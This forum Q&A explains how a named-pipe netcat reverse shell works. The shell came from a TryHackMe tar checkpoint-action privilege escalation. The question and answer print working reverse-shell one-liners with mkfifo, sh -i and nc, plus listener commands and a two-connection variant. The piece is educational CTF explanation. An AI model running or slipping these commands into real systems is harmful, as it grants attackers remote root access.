Reverse shell with named pipe and netcat
This blog post describes a privilege escalation, exploiting tar
's --checkpoint-action
option. The privilege escalation is used to solve a TryHackMe challenge.
The root user calls tar
via cron
which causes a script with the following content to run (I adapted the script a bit):
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 127.0.0.1 4445 > /tmp/f
I'm trying to wrap my head around the interaction between cat
, sh
, netcat, and the named pipe /tmp/f
.
Here's my literal reading of the command:
- Create a new named pipe at
/tmp/f
. - Write the contents of
/tmp/f
to an interactive shell. - Write the output of the shell to netcat.
- The output of netcat is written to the named pipe
/tmp/f
.
After running the command and creating a listening netcat server locally with nc -lvnp 4445
I indeed got root access.
I have a rough intuition that the steps above create an input/output loop between netcat and the shell but I'd love to deepen my knowledge on how this works.
1 answer
I'm not sure which exact fragment, functionality or aspect is problematic to you. Here I will make points (paragraphs) about what I used to struggle to understand, or about what I suspect may be not-quite-easy to understand.
Some of the below paragraphs are important for understanding later paragraphs; they are not all standalone or independent.
Continuity
Your literal reading of the command is right, but it does not stress continuity. While "create a new named pipe" is a one-time action, all "write from this to that" should rather be "start and keep writing …". I mean if there is a listening netcat server when nc
in the pipe tries to connect to it then cat
, sh
and nc
will not only run and write, they will keep running and writing.
Useless use of cat
cat
in your code is just a "relay", it's not really needed. The pipeline after mkfifo
may as well be:
/bin/sh -i </tmp/f 2>&1 | nc 127.0.0.1 4445 >/tmp/f
This is the part designed to keep running. cat
would only make the pipeline longer, but it wouldn't affect data flow.
Filters and such
The concept is general. Pipes in a shell allow us to chain programs like this:
program1 <input | program2 | … | programN >output
(where any program
may take command line arguments, but for brevity I used no arguments). I prefer a slightly different arrangement of tokens:
<input program1 | program2 | … | programN >output
Here, by reading from left to right, we expect data to flow from input
through program1
, program2
, …, programN
to output
.
Programs designed to work like this are called filters, especially if they work on textual data line-by-line and apply some modifications to their input before printing it as output. Example programs that are filters along with example (i.e. not exhaustive lists of) modifications they can apply:
-
cat
– no modification, identity filter -
tr
– replacement or deletion of characters -
grep
– deletion of non-matching lines -
sed
– replacement or deletion of whole phrases
Are sh
and nc
filters?
The pipeline in question may be written as:
</tmp/f /bin/sh -i 2>&1 | nc 127.0.0.1 4445 >/tmp/f
and it looks like a pipeline that chains two filters; or "filters". My intuition is sh
and nc
are filters only in the broadest meaning of "filter": they consume input and print some output; but they do not really transform input into output per se.
Take sole sh -i
which in an interactive shell is equivalent to </dev/tty sh -i >/dev/tty 2>/dev/tty
. If you feed it a string date\n
(where \n
denotes the newline character) then "it" will respond with the output of date
command. The output will come from date
, not from sh
; and it won't be a transformation of the input stream, in some sense it will be a reaction to it. Therefore I don't call sh
a filter. You can use it to run a real filter (e.g. grep …
) and then the rest of the input stream will be filtered, but by itself sh
is not a filter.
It's similar with nc
. What it reads as input emerges as output from this other nc
(nc -l
) you run; and the input of the other nc
emerges as output from the first nc
. You can imagine a connected nc
+nc -l
pair as two cat
s, i.e. two identity filters. The difference is each of these "cats" sits between input and output of different processes. I don't call nc
a filter because for nc
the output may or may not be its filtered input, it totally depends on how data flows from and to the other nc
; and if nc
happens to modify data like some filter, it's only because there is an actual filter (or filters) connected to the other nc
.
Is there a loop?
You wrote:
I have a rough intuition that the steps above create an input/output loop between netcat and the shell
I wouldn't call it a loop. It's true that what you write to a named pipe (like /tmp/f
) you can read from it, so the below pipeline looks like a loop, as it (as a whole) reads from where it writes to; but there are "loose ends" in the data flow. The pipeline:
</tmp/f /bin/sh -i 2>&1 | nc 127.0.0.1 4445 >/tmp/f
is really something like this:
your screen -<-. (nc -l) .-<- your keyboard
| | START HERE
'---..----'
|| network connection
.- sh or whatever sh runs -. .--''--.
| | | |
.->-' (sh) '->-' (nc) '->-.
| .----------------->--------. |
| | alleged loop | | actual flow
| '-----------------<--------' |
'----------------------- /tmp/f -<------------'
The alleged loop breaks when you realize nc
does not connect its input to its output, it's not a filter. It's like a pair of uni-directional connections to the other nc
(nc -l
). The other nc
reads from your keyboard and prints to your screen, these are loose ends in our data flow.
Not only your keyboard and your screen are loose ends; sh
plus its descendants are not necessarily a filter. This means we can observe two logically separate channels:
- your keyboard ->
nc -l
->nc
->/tmp/f
->sh
or whateversh
runs, -
sh
or whateversh
runs ->nc
->nc -l
-> your screen.
Ultimately these are:
- your keyboard -> … ->
sh
or whateversh
runs, -
sh
or whateversh
runs -> … -> your screen.
as if you run sh -i
in a terminal (well, almost*). Sole sh -i
in the exploit couldn't access your terminal, the job of nc
s and /tmp/f
is to connect this sh -i
to your terminal.
Even if what sh
runs at the moment happens to be a filter, there will be no loop because between your screen and your keyboard there is you and you don't retype what you see (possibly with some modifications, like a filter); right?
* Almost, because genuinely running a process in a terminal makes the terminal a controlling terminal for the process. This has useful consequences (e.g. ability to generate SIGINT upon Ctrl+c). The shell you get from the exploit will behave not entirely like sh -i
run in a terminal. This will not limit what you can do to the system, it will be an elevated shell nevertheless.
Why is /tmp/f
needed?
/tmp/f
is not necessary. To communicate with sh -i
you could do:
</dev/null nc 127.0.0.1 4446 | /bin/sh -i 2>&1 | nc 127.0.0.1 4445 >/dev/null
and run nc -lvnp 4445
and nc -lvnp 4446
to create one connection for receiving output of sh
(and its descendants) and one connection for supplying input. The easiest way would be to use two terminals (terminal emulators), but then you would observe output in a terminal different than the one you would use to give input.
It so happens a single connection is bi-directional. Using a single nc
+nc -l
pair for input and output like you did is convenient. But to use it as such you need to pipe from nc
to sh
and from the same sh
to the same nc
. You cannot straightforwardly do this with sole ad-hoc piping. There are coprocesses but they are not portable and they are more or less cumbersome (depending on the shell). Using a named pipe and creating what at first glance looks like a loop in data flow is a simple and convenient solution.
1 comment thread